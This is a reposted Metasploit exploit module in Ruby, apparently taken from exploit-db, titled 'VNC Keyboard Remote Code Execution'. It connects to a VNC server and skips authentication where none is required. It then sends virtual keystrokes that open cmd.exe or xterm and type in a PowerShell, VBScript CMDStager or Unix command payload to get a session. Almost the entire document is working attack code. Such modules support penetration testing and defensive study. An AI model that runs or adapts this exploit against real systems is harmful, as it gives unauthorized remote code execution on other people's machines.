VNC Keyboard – Remote Code Execution (Metasploit)

  • 作者： Metasploit
    日期： 2015-07-13
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/37598/
  • ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/proto/rfb'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking
WINDOWS_KEY = "\xff\xeb"
ENTER_KEY = "\xff\x0d"

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name'=> 'VNC Keyboard Remote Code Execution',
'Description' => %q{
This module exploits VNC servers by sending virtual keyboard keys and executing
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
and a payload is typed and executed.
},
'Author'=> [ 'xistence <xistence[at]0x90.nl>' ],
'Privileged'=> false,
'License' => MSF_LICENSE,
'Platform' => %w{ win unix },
'Targets' =>
[
[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
],
'References' =>
[
[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/']
],
'DisclosureDate'=> 'Jul 10 2015',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(5900),
OptString.new('PASSWORD', [ false, 'The VNC password']),
OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
], self.class)
end


def press_key(key)
keyboard_key = "\x04\x01" # Press key
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
keyboard_key << key # The keyboard key
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
sock.put(keyboard_key)
end


def release_key(key)
keyboard_key = "\x04\x00" # Release key
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
keyboard_key << key # The keyboard key
# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream
sock.put(keyboard_key)
end


def exec_command(command)
values = command.chars.to_a
values.each do |value|
press_key("\x00#{value}")
release_key("\x00#{value}")
end
press_key(ENTER_KEY)
end


def start_cmd_prompt
print_status("#{rhost}:#{rport} - Opening Run command")
# Pressing and holding windows key for 1 second
press_key(WINDOWS_KEY)
Rex.select(nil, nil, nil, 1)
# Press the "r" key
press_key("\x00r")
# Now we can release both keys again
release_key("\x00r")
release_key(WINDOWS_KEY)
# Wait a second to open run command window
select(nil, nil, nil, 1)
exec_command('cmd.exe')
# Wait a second for cmd.exe prompt to open
Rex.select(nil, nil, nil, 1)
end


def exploit

begin
alt_key = "\xff\xe9"
f2_key = "\xff\xbf"
password = datastore['PASSWORD']

connect
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)

unless vnc.handshake
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")
end

if password.nil?
print_status("#{rhost}:#{rport} - Bypass authentication")
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
sock.put("\x10")
else
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
if vnc.authenticate(password)
print_status("#{rhost}:#{rport} - Authenticated")
else
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")
end
end

# Send shared desktop
unless vnc.send_client_init
fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")
end

if target.name =~ /VBScript CMDStager/
start_cmd_prompt
print_status("#{rhost}:#{rport} - Typing and executing payload")
execute_cmdstager({:flavor => :vbs, :linemax => 8100})
# Exit the CMD prompt
exec_command('exit')
elsif target.name =~ /Powershell/
start_cmd_prompt
print_status("#{rhost}:#{rport} - Typing and executing payload")
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
# Execute powershell payload and make sure we exit our CMD prompt
exec_command("#{command} && exit")
elsif target.name =~ /Linux/
print_status("#{rhost}:#{rport} - Opening 'Run Application'")
# Press the ALT key and hold it for a second
press_key(alt_key)
Rex.select(nil, nil, nil, 1)
# Press F2 to start up "Run application"
press_key(f2_key)
# Release ALT + F2
release_key(alt_key)
release_key(f2_key)
# Wait a second for "Run application" to start
Rex.select(nil, nil, nil, 1)
# Start a xterm window
print_status("#{rhost}:#{rport} - Opening xterm")
exec_command('xterm')
# Wait a second for "xterm" to start
Rex.select(nil, nil, nil, 1)
# Execute our payload and exit (close) the xterm window
print_status("#{rhost}:#{rport} - Typing and executing payload")
exec_command("nohup #{payload.encoded} &")
exec_command('exit')
end

print_status("#{rhost}:#{rport} - Waiting for session...")
(datastore['TIME_WAIT']).times do
Rex.sleep(1)

# Success! session is here!
break if session_created?
end

rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end

def execute_command(cmd, opts = {})
exec_command(cmd)
end

end
    PowerShell